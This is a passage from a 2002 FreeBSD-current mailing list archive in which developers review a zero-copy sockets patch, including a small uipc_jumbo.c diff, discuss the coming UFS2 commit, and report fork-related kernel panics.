device          loop            # Network loopback
device          ether           # Ethernet support
device          tun             # Packet tunnel.
device          pty             # Pseudo-ttys (telnet etc)
device          md              # Memory "disks"
device          gif             # IPv6 and IPv4 tunneling
device          faith           # IPv6-to-IPv4 relaying (translation)
device          bpf             # Berkeley packet filter
device          uhci            # UHCI PCI->USB interface
device          ohci            # OHCI PCI->USB interface
device          usb             # USB Bus (required)
#device         udbp            # USB Double Bulk Pipe devices
device          ugen            # Generic
device          uhid            # "Human Interface Devices"
device          ukbd            # Keyboard
device          ulpt            # Printer
device          umass           # Disks/Mass storage - Requires scbus and da
device          ums             # Mouse
device          urio            # Diamond Rio 500 MP3 player
device          uscanner        # Scanners
device          aue             # ADMtek USB ethernet
device          cue             # CATC USB ethernet
device          kue             # Kawasaki LSI USB ethernet

TIA,
--
Anthony Jenkins




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 20:37:37 2002
Delivered-To: freebsd-current@freebsd.org
Received: from angelica.unixdaemons.com (angelica.unixdaemons.com [209.148.64.135])
	by hub.freebsd.org (Postfix) with ESMTP
	id 32E7D37B405; Wed, 19 Jun 2002 20:37:30 -0700 (PDT)
Received: from angelica.unixdaemons.com (bmilekic@localhost.unixdaemons.com [127.0.0.1])
	by angelica.unixdaemons.com (8.12.4/8.12.1) with ESMTP id g5K3bM14032885;
	Wed, 19 Jun 2002 23:37:22 -0400 (EDT)
X-Authentication-Warning: angelica.unixdaemons.com: Host bmilekic@localhost.unixdaemons.com [127.0.0.1] claimed to be angelica.unixdaemons.com
Received: (from bmilekic@localhost)
	by angelica.unixdaemons.com (8.12.4/8.12.1/Submit) id g5K3bLmm032884;
	Wed, 19 Jun 2002 23:37:21 -0400 (EDT)
	(envelope-from bmilekic)
Date: Wed, 19 Jun 2002 23:37:21 -0400
From: Bosko Milekic <bmilekic@unixdaemons.com>
To: Andrew Gallatin <gallatin@cs.duke.edu>
Cc: "Kenneth D. Merry" <ken@kdm.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020619233721.A30669@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org> <20020619120641.A18434@unixdaemons.com> <15633.17238.109126.952673@grasshopper.cs.duke.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <15633.17238.109126.952673@grasshopper.cs.duke.edu>; from gallatin@cs.duke.edu on Wed, Jun 19, 2002 at 10:52:06PM -0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Wed, Jun 19, 2002 at 10:52:06PM -0400, Andrew Gallatin wrote:
> 
> Bosko Milekic writes:
>  > 
>  >   - It's kind of unfortunate that uipc_jumbo.c has to roll its own
>  >     allocator;  There are a couple of alternatives; to just use 
> 
> The point of uipc_jumbo.c rolling its own allocator is that it
> allocates free pages which can be "flipped" (re-mapped) into
> user-space to avoid a memory copy.  The use of this allocator is
> confined to nic's with firmware which is smart enough to split off
> headers from payloads. (Currently only Ken's modified if_ti.c; and my
> old Trapeze/Myrinet driver though I plan to implment this in the
> official Myricom GM firmware/FreeBSD driver if the zero-copy sockets
> patch is committed).

  Yes, I know that that's what it does.  What I meant was that it would
be convenient to have UMA handle the allocation bit.  It should be
possible to have UMA do this sort of allocation and keep the free pages
in per-CPU caches.  The problem right now, as you know, is that UMA
(nor mb_alloc for that matter) will allow you to play those vm-tricks
you play on the allocated pages.  I was just pointing out that it is an
unfortunate thing and that, hopefully, UMA will allow for this sort of
thing at some point in the future.
  By the way, my other two comments have been deleted, but reading the
page that Ken maintains I noticed that Alfred already pointed them out.
However, I'm looking at the 18th of June patch from the same webpage and
I still see that the uipc_jumbo.c code does not use the SLIST_FIRST
macro.  I think with those two bogons fixed, and assuming that the stuff
in if_ti is OK, this is almost ready to go in under the ZERO_COPY kernel
option? *gulp*

[...]
> This is orthogonal to the zero-copy patch, but it _would_ be nice to
> have general purpose mbuf allocator which could allocate mbuf clusters
> with 9K physically contigous for dumber nics.  There are a whole slew
> of drivers (unpatched ti, bge, nge, lge, etc) which roll their own for
> no better reason than the system doesn't offer this feature.  That's
> what needs fixing.  Heck, if such an allocator was available, we could
> use it for copyin's of large chunks of data.   Tru64 has 8K and 2K
> clusters and does this. (based from emperical evidence garnered at the
> driver level).

  Right.  It's very hard to do > PAGE_SIZE allocations that are backed
by physically contiguous memory in FreeBSD right now.  I agree that this
would be very useful, though.
 
> Drew

-- 
Bosko Milekic
bmilekic@unixdaemons.com
bmilekic@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 20:43:24 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id C4B7037B400; Wed, 19 Jun 2002 20:43:14 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5K3h8n08351;
	Wed, 19 Jun 2002 21:43:08 -0600 (MDT)
	(envelope-from ken)
Date: Wed, 19 Jun 2002 21:43:08 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: Dag-Erling Smorgrav <des@ofug.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020619214308.A8221@panzer.kdm.org>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org> <20020619120641.A18434@unixdaemons.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020619120641.A18434@unixdaemons.com>; from bmilekic@unixdaemons.com on Wed, Jun 19, 2002 at 12:06:41PM -0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 12:06:41 -0400, Bosko Milekic wrote:
> On Wed, Jun 19, 2002 at 09:00:46AM -0600, Kenneth D. Merry wrote:
> > On Wed, Jun 19, 2002 at 15:55:18 +0200, Dag-Erling Smorgrav wrote:
> > > "Kenneth D. Merry" <ken@kdm.org> writes:
> > > > With those fixes, plus several fixes that have gone into -current over the
> > > > past week or so, the zero copy sockets code runs without any WITNESS
> > > > warnings at all now.
> > > 
> > > Planning to commit soon?
> > 
> > That's the plan.  I need to see if any comments come up, and then make sure
> > I'll be in town for a few days at least to handle any problems that come
> > up.
> 
>   I have a few comments and questions:
> 
>   - In uipc_jumbo.c, you appear to avoid using some of the SLIST macros,
>     notably when grabbing something off the inuse or free lists.

Thanks for pointing that out.  I only see two instances, the attached patch
should fix them.

>   - Is the mutex really necessary in jumbo_vm_init()? I suspect that
>     if you need to ensure mutual exclusion here, there's something
>     wrong; (why would you be running the jumbo vm code before having
>     initialized it?) - perhaps you could init the mtx at runtime in the
>     jumbo_vm_init routine.

The reason for the mutex protection in jumbo_vm_init() is to protect
against simultaneous callers.

I'm going on the assumption that I don't know exactly who might be calling
jumbo_vm_init(), or when, so it's better to make sure it is locked down
than risk duplicate callers.

>   - It's kind of unfortunate that uipc_jumbo.c has to roll its own
>     allocator;  There are a couple of alternatives; to just use 
>     UMA or mb_alloc for this sort of thing.  mb_alloc will wire
>     all pages allocated through it, though, so maybe it would be worth
>     looking at what UMA can do in this respect.  If it cannot do exactly
>     what you're looking for, then modifying it to do what you want
>     should be relatively simple.  The added advantage is that you'll now
>     be using per-CPU caches for allocations of jumbo bufs, and not the
>     single freelist that you currently use.

See Drew's response.  (thanks Drew!)

>   - I don't know anything about the if_ti code, but it sure looks like
>     it's holding the ti mutex a long time in some places (not only in
>     your patch).

(backround information)

Bill did the conversion in if_ti.c in many places by substituting TI_LOCK()
for splimp().  (from looking at rev 1.36)

There were a couple of additional places where he adding locking as well.

I followed more or less the same pattern with converting the new portions
of the ti(4) driver.

I need to take a close look at the driver to see whether some of the places
where locks are held can be reduced somewhat.  If you've got some
suggestions on places that might be tweaked, I'd like to hear them!

If you're referring to the memory copy routines (ti_copy_mem(),
ti_copy_scratch()), I'd rather leave the locking in for them.  They modify
the window/segment pointers to read/write memory, and it would cause
problems if those pointers got changed out from under us.

In any case, those routines are only used for debugging, so they're not on
the normal critical code path.

I'd be more concerned with reducing the amount of time under lock for the
general packet paths.

I see one instance where the lock can be taken out -- ti_newbuf_jumbo()
(the new version) doesn't need it, since it is always called with the lock
held anyway.

Thanks for the feedback!

Ken
-- 
Kenneth Merry
ken@kdm.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 20:44:17 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 6118037B40A; Wed, 19 Jun 2002 20:44:01 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5K3hvS08388;
	Wed, 19 Jun 2002 21:43:57 -0600 (MDT)
	(envelope-from ken)
Date: Wed, 19 Jun 2002 21:43:56 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: Dag-Erling Smorgrav <des@ofug.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020619214356.B8221@panzer.kdm.org>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org> <20020619120641.A18434@unixdaemons.com> <20020619214308.A8221@panzer.kdm.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="zYM0uCDKw75PZbzx"
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020619214308.A8221@panzer.kdm.org>; from ken@kdm.org on Wed, Jun 19, 2002 at 09:43:08PM -0600
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Jun 19, 2002 at 21:43:08 -0600, Kenneth D. Merry wrote:
> On Wed, Jun 19, 2002 at 12:06:41 -0400, Bosko Milekic wrote:
> > On Wed, Jun 19, 2002 at 09:00:46AM -0600, Kenneth D. Merry wrote:
> > > On Wed, Jun 19, 2002 at 15:55:18 +0200, Dag-Erling Smorgrav wrote:
> > > > "Kenneth D. Merry" <ken@kdm.org> writes:
> > > > > With those fixes, plus several fixes that have gone into -current over the
> > > > > past week or so, the zero copy sockets code runs without any WITNESS
> > > > > warnings at all now.
> > > > 
> > > > Planning to commit soon?
> > > 
> > > That's the plan.  I need to see if any comments come up, and then make sure
> > > I'll be in town for a few days at least to handle any problems that come
> > > up.
> > 
> >   I have a few comments and questions:
> > 
> >   - In uipc_jumbo.c, you appear to avoid using some of the SLIST macros,
> >     notably when grabbing something off the inuse or free lists.
> 
> Thanks for pointing that out.  I only see two instances, the attached patch
> should fix them.

Oops, forgot the patch.

Here it is.

Ken
-- 
Kenneth Merry
ken@kdm.org

--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="uipc_jumbo.c.diffs.20020619"

==== //depot/FreeBSD-zero/src/sys/kern/uipc_jumbo.c#4 - /usr/home/ken/perforce/FreeBSD-zero/src/sys/kern/uipc_jumbo.c ====
*** /tmp/tmp.940.0	Wed Jun 19 20:07:29 2002
--- /usr/home/ken/perforce/FreeBSD-zero/src/sys/kern/uipc_jumbo.c	Wed Jun 19 20:06:01 2002
***************
*** 199,205 ****
   	pg = NULL;
  	mtx_lock(&jumbo_mutex);
  
! 	entry = jumbo_kmap_free.slh_first;
  	if (entry != NULL){
  		pindex = atop(entry->kva - jumbo_basekva);
  		pg = vm_page_alloc(jumbo_vm_object, pindex, VM_ALLOC_INTERRUPT);
--- 199,205 ----
   	pg = NULL;
  	mtx_lock(&jumbo_mutex);
  
! 	entry = SLIST_FIRST(&jumbo_kmap_free);
  	if (entry != NULL){
  		pindex = atop(entry->kva - jumbo_basekva);
  		pg = vm_page_alloc(jumbo_vm_object, pindex, VM_ALLOC_INTERRUPT);
***************
*** 238,244 ****
  	mtx_lock(&jumbo_mutex);
  
  	pmap_qremove(addr,1);
! 	entry = jumbo_kmap_inuse.slh_first;
  	entry->kva = addr;
  	SLIST_REMOVE_HEAD(&jumbo_kmap_inuse, entries);
  	SLIST_INSERT_HEAD(&jumbo_kmap_free, entry, entries);
--- 238,244 ----
  	mtx_lock(&jumbo_mutex);
  
  	pmap_qremove(addr,1);
! 	entry = SLIST_FIRST(jumbo_kmap_inuse);
  	entry->kva = addr;
  	SLIST_REMOVE_HEAD(&jumbo_kmap_inuse, entries);
  	SLIST_INSERT_HEAD(&jumbo_kmap_free, entry, entries);

--zYM0uCDKw75PZbzx--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 20:49:14 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 59ACD37B406; Wed, 19 Jun 2002 20:49:01 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5K3mvp08450;
	Wed, 19 Jun 2002 21:48:57 -0600 (MDT)
	(envelope-from ken)
Date: Wed, 19 Jun 2002 21:48:57 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: Andrew Gallatin <gallatin@cs.duke.edu>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020619214857.C8221@panzer.kdm.org>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org> <20020619120641.A18434@unixdaemons.com> <15633.17238.109126.952673@grasshopper.cs.duke.edu> <20020619233721.A30669@unixdaemons.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020619233721.A30669@unixdaemons.com>; from bmilekic@unixdaemons.com on Wed, Jun 19, 2002 at 11:37:21PM -0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 23:37:21 -0400, Bosko Milekic wrote:
> On Wed, Jun 19, 2002 at 10:52:06PM -0400, Andrew Gallatin wrote:
> > 
> > Bosko Milekic writes:
> >  > 
> >  >   - It's kind of unfortunate that uipc_jumbo.c has to roll its own
> >  >     allocator;  There are a couple of alternatives; to just use 
> > 
> > The point of uipc_jumbo.c rolling its own allocator is that it
> > allocates free pages which can be "flipped" (re-mapped) into
> > user-space to avoid a memory copy.  The use of this allocator is
> > confined to nic's with firmware which is smart enough to split off
> > headers from payloads. (Currently only Ken's modified if_ti.c; and my
> > old Trapeze/Myrinet driver though I plan to implment this in the
> > official Myricom GM firmware/FreeBSD driver if the zero-copy sockets
> > patch is committed).
> 
>   Yes, I know that that's what it does.  What I meant was that it would
> be convenient to have UMA handle the allocation bit.  It should be
> possible to have UMA do this sort of allocation and keep the free pages
> in per-CPU caches.  The problem right now, as you know, is that UMA
> (nor mb_alloc for that matter) will allow you to play those vm-tricks
> you play on the allocated pages.  I was just pointing out that it is an
> unfortunate thing and that, hopefully, UMA will allow for this sort of
> thing at some point in the future.

It would be nice.  Perhaps with an application for such functionality
sitting in the tree, it might provide an incentive for someone to write the
UMA code to do it. :)

>   By the way, my other two comments have been deleted, but reading the
> page that Ken maintains I noticed that Alfred already pointed them out.
> However, I'm looking at the 18th of June patch from the same webpage and
> I still see that the uipc_jumbo.c code does not use the SLIST_FIRST
> macro.  I think with those two bogons fixed, and assuming that the stuff
> in if_ti is OK, this is almost ready to go in under the ZERO_COPY kernel
> option? *gulp*

You're right, I fixed one instance but not the other two.  Those are fixed
in my local tree.

If you've got some ideas on reducing the lock time in the ti(4) driver, I'd
be glad to hear them.  (As I said previously, I wouldn't worry too much
about the memory copy functions, they're only used when the debugging
interface is active.)

> [...]
> > This is orthogonal to the zero-copy patch, but it _would_ be nice to
> > have general purpose mbuf allocator which could allocate mbuf clusters
> > with 9K physically contigous for dumber nics.  There are a whole slew
> > of drivers (unpatched ti, bge, nge, lge, etc) which roll their own for
> > no better reason than the system doesn't offer this feature.  That's
> > what needs fixing.  Heck, if such an allocator was available, we could
> > use it for copyin's of large chunks of data.   Tru64 has 8K and 2K
> > clusters and does this. (based from emperical evidence garnered at the
> > driver level).
> 
>   Right.  It's very hard to do > PAGE_SIZE allocations that are backed
> by physically contiguous memory in FreeBSD right now.  I agree that this
> would be very useful, though.

Thanks again for the feedback!

Ken
-- 
Kenneth Merry
ken@kdm.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 21:23:37 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP
	id 96A5C37B407; Wed, 19 Jun 2002 21:23:33 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id OAA30066;
	Thu, 20 Jun 2002 14:23:31 +1000
Date: Thu, 20 Jun 2002 14:28:22 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Juli Mallett <jmallett@FreeBSD.ORG>
Cc: "Greg 'groggy' Lehey" <grog@FreeBSD.ORG>,
	Poul-Henning Kamp <phk@FreeBSD.ORG>, <current@FreeBSD.ORG>
Subject: Re: HEADSUP:  UFS2 patch coming...
In-Reply-To: <20020619190331.A68914@FreeBSD.ORG>
Message-ID: <20020620142204.T11165-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: QUOTED-PRINTABLE
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, 19 Jun 2002, Juli Mallett wrote:

> * Greg 'groggy' Lehey <grog@FreeBSD.org> escriur=C3=A8res
> > On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
> > >
> > > Kirk is loading and aiming is committatron with the UFS2 patch,
> > > expect to see it hit -current any day soon.
> >
> > Any details of what it will contain?
> >
> > Greg
>
> http://phk.freebsd.dk/patch/ufs2.patch
>
> I believe.

These details have only been publicized for a month now.

> It speaks for itself.  Of course the first thing that shows up is more
> devfs related than UFS2 related and probably should be committed in a
> seperate commit, if at all, cause that's what NO_MAKEDEV_INSTALL is for.

I think about half of the patch should be committed separately.  phk has
already committed some related things separately, but not nearly half.

I also think that "HEADS UP" should be spelled in English.  A HEADSUP is
something to do with [cv]sup :-).

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 21:49:54 2002
Delivered-To: freebsd-current@freebsd.org
Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105])
	by hub.freebsd.org (Postfix) with ESMTP id EFD1937B404
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 21:49:45 -0700 (PDT)
Received: from troutmask.apl.washington.edu (localhost [127.0.0.1])
	by troutmask.apl.washington.edu (8.12.3/8.12.3) with ESMTP id g5K4njQ9018907
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 21:49:45 -0700 (PDT)
	(envelope-from sgk@troutmask.apl.washington.edu)
Received: (from sgk@localhost)
	by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g5K4njMD018906
	for freebsd-current@freebsd.org; Wed, 19 Jun 2002 21:49:45 -0700 (PDT)
Date: Wed, 19 Jun 2002 21:49:45 -0700
From: Steve Kargl <sgk@troutmask.apl.washington.edu>
To: freebsd-current@freebsd.org
Subject: vm related kernel panics
Message-ID: <20020619214945.A18873@troutmask.apl.washington.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I got 2 panics from -current sources of today.
The back traces are:

panic 1:
  vm_page_insert
  vm_page_alloc
  vm_page_grab
  pmap_new_proc
  vm_forkproc
  fork1
  fork
  syscall
  syscal

panic 2:
  panic
  mtx_init
  fork1
  fork
  syscal
  syscall

I would provide more information except I seem to have
some problems reading my vmcore.0 files with either gdb
or gdb52.

-- 
Steve

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 21:52:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163])
	by hub.freebsd.org (Postfix) with ESMTP
	id 29BE937B409; Wed, 19 Jun 2002 21:52:11 -0700 (PDT)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.12.3/8.12.2) with ESMTP id g5K4oNIj071274;
	Thu, 20 Jun 2002 06:50:24 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: "Greg 'groggy' Lehey" <grog@FreeBSD.org>
Cc: current@FreeBSD.org
Subject: Re: HEADSUP: UFS2 patch coming... 
In-Reply-To: Your message of "Thu, 20 Jun 2002 11:22:36 +0930."
             <20020620015236.GF23122@wantadilla.lemis.com> 
Date: Thu, 20 Jun 2002 06:50:23 +0200
Message-ID: <71273.1024548623@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

In message <20020620015236.GF23122@wantadilla.lemis.com>, "Greg 'groggy' Lehey"
 writes:
>On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
>>
>> Kirk is loading and aiming is committatron with the UFS2 patch,
>> expect to see it hit -current any day soon.
>
>Any details of what it will contain?

It's only been said 5+ times on the list so far and it has been put
up for review a couple of times over the last months but hey:

The first UFS2 commit will add the UFS2 64bit format to the existing
ufs/ffs code.

-- 
Poul-Henning Kamp       | UNIX since Zilog Zeus 3.20
phk@FreeBSD.ORG         | TCP/IP since RFC 956
FreeBSD committer       | BSD since 4.3-tahoe    
Never attribute to malice what can adequately be explained by incompetence.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 21:53:48 2002
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163])
	by hub.freebsd.org (Postfix) with ESMTP
	id D57E437B400; Wed, 19 Jun 2002 21:53:38 -0700 (PDT)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.12.3/8.12.2) with ESMTP id g5K4pqIj071546;
	Thu, 20 Jun 2002 06:51:52 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: Juli Mallett <jmallett@FreeBSD.ORG>
Cc: "Greg 'groggy' Lehey" <grog@FreeBSD.ORG>, current@FreeBSD.ORG
Subject: Re: HEADSUP: UFS2 patch coming... 
In-Reply-To: Your message of "Wed, 19 Jun 2002 19:03:31 PDT."
             <20020619190331.A68914@FreeBSD.ORG> 
Date: Thu, 20 Jun 2002 06:51:52 +0200
Message-ID: <71545.1024548712@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

In message <20020619190331.A68914@FreeBSD.ORG>, Juli Mallett writes:
>* Greg 'groggy' Lehey <grog@FreeBSD.org> escriurères
>> On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
>> >
>> > Kirk is loading and aiming is committatron with the UFS2 patch,
>> > expect to see it hit -current any day soon.
>> 
>> Any details of what it will contain?
>> 
>> Greg
>
>http://phk.freebsd.dk/patch/ufs2.patch
>
>I believe.
>
>It speaks for itself.  Of course the first thing that shows up is more
>devfs related than UFS2 related and probably should be committed in a
>seperate commit, if at all, cause that's what NO_MAKEDEV_INSTALL is for.

Uhm ignore that.  I messed up when I generated that patch file.

Kirk doesn't have my DEVFS changes in his tree, so those bits will
not accidentally get committed.

-- 
Poul-Henning Kamp       | UNIX since Zilog Zeus 3.20
phk@FreeBSD.ORG         | TCP/IP since RFC 956
FreeBSD committer       | BSD since 4.3-tahoe    
Never attribute to malice what can adequately be explained by incompetence.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 21:55:19 2002
Delivered-To: freebsd-current@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 931)
	id 8C9DE37B40F; Wed, 19 Jun 2002 21:55:13 -0700 (PDT)
Date: Wed, 19 Jun 2002 21:55:13 -0700
From: Juli Mallett <jmallett@FreeBSD.org>
To: Bruce Evans <bde@zeta.org.au>
Cc: Greg 'groggy' Lehey <grog@FreeBSD.ORG>,
	Poul-Henning Kamp <phk@FreeBSD.ORG>, current@FreeBSD.ORG
Subject: Re: HEADSUP:  UFS2 patch coming...
Message-ID: <20020619215513.A90131@FreeBSD.ORG>
References: <20020619190331.A68914@FreeBSD.ORG> <20020620142204.T11165-100000@gamplex.bde.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020620142204.T11165-100000@gamplex.bde.org>; from bde@zeta.org.au on Thu, Jun 20, 2002 at 02:28:22PM +1000
Organisation: The FreeBSD Project <http://FreeBSD.org>
X-Alternate-Addresses: <jmallett@NewGold.NET>, <jmallett@xMach.org>, <juli@jerkcity.com>, <flata@toxic.magnesium.net>
